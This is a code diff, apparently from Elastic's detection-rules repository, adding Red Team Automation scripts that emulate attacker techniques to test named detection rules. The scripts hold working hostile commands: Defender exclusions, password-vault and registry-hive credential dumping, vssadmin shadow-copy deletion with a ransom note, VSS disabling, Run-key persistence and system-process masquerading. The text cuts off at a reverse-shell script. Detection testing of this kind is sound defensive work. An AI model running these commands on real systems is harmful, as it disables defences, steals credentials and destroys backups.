+# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="1ccbd3c6-69c8-4476-b5e5-da3d167a09f1", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Suspicious Windows Defender Exclusions Added via PowerShell", + "rule_id": "2ad8b514-baf0-4e29-a712-d6734868aa57", + } + ], + siem=[], + techniques=["T1562", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, posh) + + cmd = "powershell -c Add-MpPreference -ExclusionPath" + # Execute command + common.execute([posh, "/c", cmd], timeout=10) + common.remove_file(posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/powershell_vault_access.py b/rta/powershell_vault_access.py new file mode 100644 index 000000000..937992cad --- /dev/null +++ b/rta/powershell_vault_access.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="88905741-350f-4a20-a363-22be1e71840c", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Access to Windows Passwords Vault via Powershell", + "rule_id": "7a4d1be2-db47-4545-a08c-9d4b20bad0d0", + } + ], + siem=[], + techniques=["T1555", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + + cmd = "(new-object 'Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials" + "ContentType=WindowsRuntime').RetrieveAll()" + + # Execute command + common.execute([powershell, "/c", cmd], timeout=5, kill=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/privilege_escalation_remote_thread.py b/rta/privilege_escalation_remote_thread.py new file mode 100644 index 000000000..c24592ea0 --- /dev/null +++ b/rta/privilege_escalation_remote_thread.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import os +import platform + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="e1ff47b2-af5d-4cfc-bd94-e0b86828b241", + platforms=["macos"], + endpoint=[ + {"rule_name": "Potential Code Injection via Remote Thread", "rule_id": "458f0b4b-be9a-45bc-8f19-a26dac267250"} + ], + siem=[], + techniques=["T1055"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + if platform.processor() == "arm": + name = "thread_injector_arm" + sleep_name = "com.apple.sleep_arm" + else: + name = "thread_injector_intel" + sleep_name = "com.apple.sleep_intel" + sleep_path = common.get_path("bin", sleep_name) + os.system(f"{sleep_path} 5000 &") + + path = common.get_path("bin", name) + os.system(f"{path} `pgrep {sleep_name}`") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/privilege_escalation_tcc_bypass.py b/rta/privilege_escalation_tcc_bypass.py new file mode 100644 index 000000000..323dea346 --- /dev/null +++ b/rta/privilege_escalation_tcc_bypass.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="e45cd941-dee1-4275-8c63-2f8cab2cf8a6", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Potential Privilege Escalation via TCC bypass with fake TCC.db", + "rule_id": "8446b30d-a9c4-4646-8261-979c06edd0ff", + } + ], + siem=[], + techniques=["T1068"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing deletion on /tmp/TCC.db file.") + common.temporary_file_helper("testing", file_name="/tmp/TCC.db") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/process_double_extension.py b/rta/process_double_extension.py index 22c7727a1..6f67aefea 100644 --- a/rta/process_double_extension.py +++ b/rta/process_double_extension.py @@ -9,16 +9,30 @@ # Description: Create and run a process with a double extension. from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="27694576-0454-40b3-9823-e29719c53750", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "8b2b3a62-a598-4293-bc14-3d5fa22bb98f", + "rule_name": "Executable File Creation with Multiple Extensions", + } + ], + techniques=["T1204", "T1036"], +) + MY_APP = common.get_path("bin", "myapp_x64.exe") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(MY_APP) def main(): - anomalies = [ - "test.txt.exe" - ] + anomalies = ["test.txt.exe"] for path in anomalies: common.log("Masquerading process as %s" % path) diff --git a/rta/process_extension_anomalies.py b/rta/process_extension_anomalies.py index 5618df1d8..dcf8d03dc 100644 --- a/rta/process_extension_anomalies.py +++ b/rta/process_extension_anomalies.py @@ -9,11 +9,16 @@ # Description: Creates processes with anomalous extensions from . import common +from . import RtaMetadata + + +metadata = RtaMetadata(uuid="c7d9d63d-09ff-40e9-b990-4c273281d6a0", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + MY_APP = common.get_path("bin", "myapp.exe") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(MY_APP) def main(): anomalies = [ @@ -23,7 +28,7 @@ def main(): "bad.pdf", "suspicious.bat", "hiding.vbs", - "evil.xlsx" + "evil.xlsx", ] for path in anomalies: diff --git a/rta/process_name_masquerade.py b/rta/process_name_masquerade.py index 2cfd65039..dc4e8cdef 100644 --- a/rta/process_name_masquerade.py +++ b/rta/process_name_masquerade.py @@ -3,35 +3,34 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -# Name: Windows Core Process Masquerade -# RTA: process_name_masquerade.py -# signal.rule.name: Unusual Parent-Child Relationship -# ATT&CK: T1036 -# Description: Creates several processes which mimic core Windows process names but that are not those executables. - import os from . import common - -MY_APP = common.get_path("bin", "myapp.exe") +from . import RtaMetadata -@common.requires_os(common.WINDOWS) -@common.dependencies(MY_APP) +metadata = RtaMetadata( + uuid="98adf0ff-2d8e-4eea-8d68-42084204bb74", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Potential Masquerading as SVCHOST", "rule_id": "5b00c9ba-9546-47cc-8f9f-1c1a3e95f65c"}, + {"rule_name": "Execution via Renamed Signed Binary Proxy", "rule_id": "b0207677-5041-470b-981d-13ab956cf5b4"}, + ], + siem=[], + techniques=["T1218", "T1036"], +) + +CMD_PATH = "c:\\windows\\system32\\cmd.exe" + + +@common.requires_os(metadata.platforms) def main(): - masquerades = [ - "svchost.exe", - "lsass.exe", - "services.exe", - "csrss.exe", - "smss.exe", - "wininit.exe", - "explorer.exe", - ] + masquerades = ["svchost.exe", "lsass.exe"] for name in masquerades: path = os.path.abspath(name) - common.copy_file(MY_APP, path) + common.copy_file(CMD_PATH, path) common.execute(path, timeout=3, kill=True) common.remove_file(path) diff --git a/rta/ransomnote_delete_shadows.py b/rta/ransomnote_delete_shadows.py new file mode 100644 index 000000000..709eb6368 --- /dev/null +++ b/rta/ransomnote_delete_shadows.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="2ab87570-d9ad-40f4-9f52-d5a2942e11ac", + platforms=["windows"], + endpoint=[{"rule_name": "Potential Ransomware Note File", "rule_id": "5dba1130-72df-46f1-b581-18d9c866cb23"}], + siem=[], + techniques=["T1485"], +) + + +@common.requires_os(metadata.platforms) +def main(): + vssadmin = "C:\\Windows\\System32\\vssadmin.exe" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + + # Execute command + common.log("Deleting Shadow Copies and writing ransom note") + common.execute([vssadmin, "delete", "shadows", "/For=C:"], timeout=10) + + common.execute([powershell, "/c", "echo 'Ooops! All your' > readme.txt"], timeout=10) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/recycle_bin_process.py b/rta/recycle_bin_process.py index 656f13a2b..9c3837ff1 100644 --- a/rta/recycle_bin_process.py +++ b/rta/recycle_bin_process.py @@ -12,12 +12,28 @@ import os import time from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="790cbe6f-ee44-4654-9998-039236dbe0d8", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "cff92c41-2225-4763-b4ce-6f71e5bda5e6", + "rule_name": "Execution from Unusual Directory - Command Line", + } + ], + techniques=["T1036", "T1059"], +) + RECYCLE_PATHS = ["C:\\$Recycle.Bin", "C:\\Recycler"] TARGET_APP = common.get_path("bin", "myapp.exe") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(TARGET_APP, common.CMD_PATH) def main(): common.log("Execute files from the Recycle Bin") diff --git a/rta/reg_creation_servicedll.py b/rta/reg_creation_servicedll.py new file mode 100644 index 000000000..2f7599644 --- /dev/null +++ b/rta/reg_creation_servicedll.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="58b3052d-4242-4b41-9f28-b04ce5962761", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Windows Service DLL Creation", "rule_id": "2c624716-75a1-42d9-bcb8-1defcb9bded9"} + ], + siem=[], + techniques=["T1543"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Temporarily creating a Service DLL reg key...") + + key = "Software" + value = "ServiceDLL" + data = "ServiceDLL" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/reg_mod_netwire.py b/rta/reg_mod_netwire.py new file mode 100644 index 000000000..ba99703b3 --- /dev/null +++ b/rta/reg_mod_netwire.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="2bb1f4df-dc38-45a6-a0f4-54660c93a652", + platforms=["windows"], + endpoint=[{"rule_name": "NetWire RAT Registry Modification", "rule_id": "102f340f-1839-4bad-8493-824cc02c4e69"}], + siem=[], + techniques=["T1112"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Temporarily creating a Netwire RAT-like reg key...") + + key = "SOFTWARE\\Netwire" + value = "HostId" + data = "Test" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/reg_mod_nullsessionpipes.py b/rta/reg_mod_nullsessionpipes.py new file mode 100644 index 000000000..d27bda99c --- /dev/null +++ b/rta/reg_mod_nullsessionpipes.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="a6263f00-58b4-4555-b88f-9d66a7395891", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Suspicious NullSessionPipe Registry Modification", + "rule_id": "11d374d8-2dad-4d9b-83a2-ee908eac8269", + } + ], + siem=[], + techniques=["T1021", "T1112"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Modifying NullSessionPipes reg key...") + + key = "SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Parameters" + value = "NullSessionPipes" + data = "RpcServices" + + with common.temporary_reg(common.HKLM, key, value, data): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/reg_mod_plugx.py b/rta/reg_mod_plugx.py new file mode 100644 index 000000000..4ff4f27f7 --- /dev/null +++ b/rta/reg_mod_plugx.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="31fdd029-5fac-474f-9201-3b7bfb60e0cf", + platforms=["windows"], + endpoint=[ + {"rule_name": "Potential PlugX Registry Modification", "rule_id": "7a201712-9f3c-4f40-b4fc-2418a44b8ecb"} + ], + siem=[], + techniques=["T1547", "T1112", "T1219"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Temporarily creating a PlugX-like reg key...") + + key = "SOFTWARE\\CLASSES\\ms-pu\\PROXY" + value = "Test" + data = "Test" + + with common.temporary_reg(common.HKLM, key, value, data): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/reg_mod_remcos.py b/rta/reg_mod_remcos.py new file mode 100644 index 000000000..686d0cfde --- /dev/null +++ b/rta/reg_mod_remcos.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="0e5a4099-f76d-43f8-aa91-0ed1ad5fed81", + platforms=["windows"], + endpoint=[ + {"rule_name": "Remcos RAT Registry or File Modification", "rule_id": "9769d372-4115-4ef8-8d7b-aaad05dad9ae"} + ], + siem=[], + techniques=["T1112"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Temporarily creating a Remcos RAT alike reg key...") + + key = "SOFTWARE\\Remcos-rta" + value = "licence" + data = "RAT" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/reg_mod_run_key_unusual_proc.py b/rta/reg_mod_run_key_unusual_proc.py new file mode 100644 index 000000000..5ab1736eb --- /dev/null +++ b/rta/reg_mod_run_key_unusual_proc.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="a3461218-f6c2-4178-ad85-f25b8df2d2e1", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Registry Run Key Modified by Unusual Process", + "rule_id": "b2fcbb09-d9bd-4f6c-a08e-247548b4edcd", + }, + { + "rule_name": "Suspicious String Value Written to Registry Run Key", + "rule_id": "727db78e-e1dd-4bc0-89b0-885cd99e069e", + }, + ], + siem=[], + techniques=["T1547"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\Windows\\posh.exe" + common.copy_file(EXE_FILE, posh) + + cmd = ( + "New-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' " + "-Name Test -PropertyType String -value rundll32" + ) + rem_cmd = "Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name Test" + + # Execute command + common.log("Fake ms word reg mod...") + common.execute([posh, "/c", cmd], timeout=10) + common.execute([posh, "/c", rem_cmd], timeout=10) + common.remove_file(posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/reg_mod_windir.py b/rta/reg_mod_windir.py new file mode 100644 index 000000000..dac4f5425 --- /dev/null +++ b/rta/reg_mod_windir.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="38cea037-c1a8-4749-a434-ba4c7d6e91f8", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Privilege Escalation via Windir or SystemRoot Environment Variable", + "rule_id": "18ffee0c-5f40-4dd8-aa9a-28251a308dbc", + } + ], + siem=[], + techniques=["T1574"], +) + + +@common.requires_os(metadata.platforms) +def main(): + key = "System\\Environment" + value = "windir" + data = "rta" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/reg_run_key_asterisk.py b/rta/reg_run_key_asterisk.py new file mode 100644 index 000000000..4d3756836 --- /dev/null +++ b/rta/reg_run_key_asterisk.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="13fbcfdc-ba84-414b-aaa6-49b416806c8e", + platforms=["windows"], + endpoint=[ + {"rule_name": "Registry Run Key Prefixed with Asterisk", "rule_id": "94d35931-5c48-49ed-8c18-d601c4f8aeaa"} + ], + siem=[], + techniques=["T1547"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Writing registry key") + + key = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" + value = "*test" + data = "test" + + with common.temporary_reg(common.HKLM, key, value, data): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/reg_vss_service_disable.py b/rta/reg_vss_service_disable.py new file mode 100644 index 000000000..e87dd3c87 --- /dev/null +++ b/rta/reg_vss_service_disable.py @@ -0,0 +1,53 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="c4eefb59-2c59-4904-a04e-5e3a75f54a46", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Shadow Copy Service Disabled via Registry Modification", + "rule_id": "b2409cd4-3b23-4b2d-82e4-bbb25594999a", + }, + { + "rule_name": "VSS Service Disabled Followed by a Suspicious File Rename", + "rule_id": "d6cde651-adc9-4074-b167-65e6b82116b4", + }, + { + "rule_name": "Suspicious File Rename by an Unusual Process", + "rule_id": "df874d7e-6639-44ce-b47d-96254022ccd5", + }, + ], + siem=[], + techniques=["T1218", "T1112", "T1486", "T1490", "T1059"], +) + +HIGHENTROPY = common.get_path("bin", "highentropy.txt") + + +@common.requires_os(metadata.platforms) +def main(): + key = "SYSTEM\\CurrentControlSet\\Services\\VSS" + value = "Start" + data = 4 + + with common.temporary_reg(common.HKLM, key, value, data, data_type="dword"): + pass + + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + jpg = "C:\\Users\\Public\\jpg.jpg" + jpgenc = "C:\\Users\\Public\\jpg.enc" + # Creating a high entropy file, and executing the rename operation + common.copy_file(HIGHENTROPY, jpg) + common.execute([powershell, "/c", f"Rename-Item {jpg} {jpgenc}"], timeout=10) + common.execute([powershell, "/c", "Remove-Item 'C:\\Users\\Public\\*jpg*' -Force"], timeout=10) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/registry_hive_export.py b/rta/registry_hive_export.py index 2a8505b62..5ba09b263 100644 --- a/rta/registry_hive_export.py +++ b/rta/registry_hive_export.py @@ -11,11 +11,27 @@ import os from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="dfdcc4f4-5aca-486a-8115-b15b653b9b4f", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "a7e7bfa3-088e-4f13-b29e-3986e0e756b8", + "rule_name": "Credential Acquisition via Registry Hive Dumping", + } + ], + techniques=["T1003"], +) + REG = "reg.exe" -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) def main(): for hive in ["sam", "security", "system"]: filename = os.path.abspath("%s.reg" % hive) diff --git a/rta/registry_persistence_create.py b/rta/registry_persistence_create.py index 96a6e967b..c22a7fde6 100644 --- a/rta/registry_persistence_create.py +++ b/rta/registry_persistence_create.py @@ -14,6 +14,22 @@ import time from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="c62c65bf-248e-4f5a-ad4f-a48736c1d6f2", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "7405ddf1-6c8e-41ce-818f-48bea6bcaed8", + "rule_name": "Potential Modification of Accessibility Binaries", + } + ], + techniques=["T1546"], +) + TARGET_APP = common.get_path("bin", "myapp.exe") @@ -22,15 +38,25 @@ def pause(): time.sleep(0.5) -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(TARGET_APP) def main(): common.log("Suspicious Registry Persistence") winreg = common.get_winreg() for hive in (common.HKLM, common.HKCU): - common.write_reg(hive, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\", "RunOnceTest", TARGET_APP) - common.write_reg(hive, "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "RunTest", TARGET_APP) + common.write_reg( + hive, + "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\", + "RunOnceTest", + TARGET_APP, + ) + common.write_reg( + hive, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", + "RunTest", + TARGET_APP, + ) # create Services subkey for "ServiceTest" common.log("Creating ServiceTest registry key") @@ -70,8 +96,14 @@ def main(): common.write_reg(common.HKLM, appcertdlls_key, "evil", "evil.dll", restore=True, pause=True) debugger_targets = [ - "normalprogram.exe", "sethc.exe", "utilman.exe", "magnify.exe", - "narrator.exe", "osk.exe", "displayswitch.exe", "atbroker.exe" + "normalprogram.exe", + "sethc.exe", + "utilman.exe", + "magnify.exe", + "narrator.exe", + "osk.exe", + "displayswitch.exe", + "atbroker.exe", ] for victim in debugger_targets: @@ -87,7 +119,15 @@ def main(): # modify the list of SSPs common.log("Adding a new SSP to the list of security packages") key = "System\\CurrentControlSet\\Control\\Lsa" - common.write_reg(common.HKLM, key, "Security Packages", ["evilSSP"], common.MULTI_SZ, append=True, pause=True) + common.write_reg( + common.HKLM, + key, + "Security Packages", + ["evilSSP"], + common.MULTI_SZ, + append=True, + pause=True, + ) hkey.Close() pause() diff --git a/rta/registry_rdp_enable.py b/rta/registry_rdp_enable.py index 5731e0d87..9eabe11b2 100644 --- a/rta/registry_rdp_enable.py +++ b/rta/registry_rdp_enable.py @@ -10,9 +10,24 @@ # Description: Identifies registry write modification to enable RDP access. from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="1ef2a173-a9c8-446d-9d56-f7e54a197a33", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "7405ddf1-6c8e-41ce-818f-48bea6bcaed8", + "rule_name": "Potential Modification of Accessibility Binaries", + } + ], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Enabling RDP Through Registry") diff --git a/rta/regsvr32_scrobj.py b/rta/regsvr32_scrobj.py index ba1e035cf..9c00bdc6a 100644 --- a/rta/regsvr32_scrobj.py +++ b/rta/regsvr32_scrobj.py @@ -3,29 +3,33 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -# Name: RegSvr32 Backdoor with .sct Files -# RTA: regsvr32_scrobj.py -# ATT&CK: T1121, T1117, T1064 -# Description: Loads a .sct network callback with RegSvr32 - from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) -@common.dependencies(common.get_path("bin", "notepad.sct")) +metadata = RtaMetadata( + uuid="469c7bb5-44e2-4a85-b14d-5aee4f2b18c1", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Regsvr32 Scriptlet Execution", "rule_id": "0524c24c-e45e-4220-b21a-abdba0c46c4d"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Regsvr32 with Unusual Arguments", "rule_id": "5db08297-bf72-49f4-b426-f405c2b01326"}, + ], + siem=[], + techniques=["T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) def main(): - common.log("RegSvr32 with .sct backdoor") - server, ip, port = common.serve_web() - common.clear_web_cache() + regsvr32 = "C:\\Users\\Public\\regsvr32.exe" + common.copy_file(EXE_FILE, regsvr32) - uri = 'bin/notepad.sct' - url = 'http://%s:%d/%s' % (ip, port, uri) - - common.execute(["regsvr32.exe", "/u", "/n", "/s", "/i:%s" % url, "scrobj.dll"]) - common.log("Killing all notepads to cleanup", "-") - common.execute(["taskkill", "/f", "/im", "notepad.exe"]) - - server.shutdown() + common.execute([regsvr32, "/c", "echo", "scrobj.exe /i:"], timeout=10) + common.remove_files(regsvr32) if __name__ == "__main__": diff --git a/rta/regsvr32_unusual_args.py b/rta/regsvr32_unusual_args.py new file mode 100644 index 000000000..369f55872 --- /dev/null +++ b/rta/regsvr32_unusual_args.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="469d383a-d03f-470a-bcba-15da9dd373ed", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Regsvr32 with Unusual Arguments", "rule_id": "5db08297-bf72-49f4-b426-f405c2b01326"}, + ], + siem=[], + techniques=["T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed.exe") + + +@common.requires_os(metadata.platforms) +def main(): + binary = "regsvr32.exe" + common.copy_file(EXE_FILE, binary) + + # Execute Command + common.execute([binary, "cd", "C:\\Users\\Public\\"], timeout=10, kill=True) + + common.remove_file(binary) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/renamed_autoit.py b/rta/renamed_autoit.py new file mode 100644 index 000000000..0e06420f4 --- /dev/null +++ b/rta/renamed_autoit.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="43636c0c-162b-4445-bcd0-348cbd203fa3", + platforms=["windows"], + endpoint=[{"rule_name": "Renamed AutoIt Scripts Interpreter", "rule_id": "99f2327e-871f-4b8a-ae75-d1c4697aefe4"}], + siem=[], + techniques=["T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + autoit = "C:\\Users\\Public\\rta.exe" + rcedit = "C:\\Users\\Public\\rcedit.exe" + + common.copy_file(RENAMER, rcedit) + common.copy_file(EXE_FILE, autoit) + + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute( + [rcedit, autoit, "--set-version-string", "OriginalFileName", "autoitrta.exe"], + timeout=10, + ) + common.execute([autoit], timeout=5, kill=True) + + common.remove_files(autoit, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/renamed_automaton_interpreter.py b/rta/renamed_automaton_interpreter.py new file mode 100644 index 000000000..8c2a4b9b9 --- /dev/null +++ b/rta/renamed_automaton_interpreter.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="8c128a2b-fa7b-4bfc-9ec9-934395460420", + platforms=["windows"], + endpoint=[ + {"rule_name": "Renamed Windows Automaton Script Interpreter", "rule_id": "92d720dd-93b2-49e0-b68a-d5d6acbe4910"} + ], + siem=[], + techniques=["T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + autohotkey = "C:\\Users\\Public\\notaut0hotkey.exe" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(EXE_FILE, autohotkey) + common.copy_file(RENAMER, rcedit) + + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute( + [ + rcedit, + autohotkey, + "--set-version-string", + "OriginalFilename", + "AutoHotkey.exe", + ] + ) + + common.execute([autohotkey], timeout=10, kill=True) + + common.remove_files(autohotkey, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/reverse_shell.py b/rta/reverse_shell.py new file mode 100644 index 000000000..d02502663 --- /dev/null +++ b/rta/reverse_shell.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="83b04be5-ed0f-4efd-a7fd-d5db2b8ab62f", + 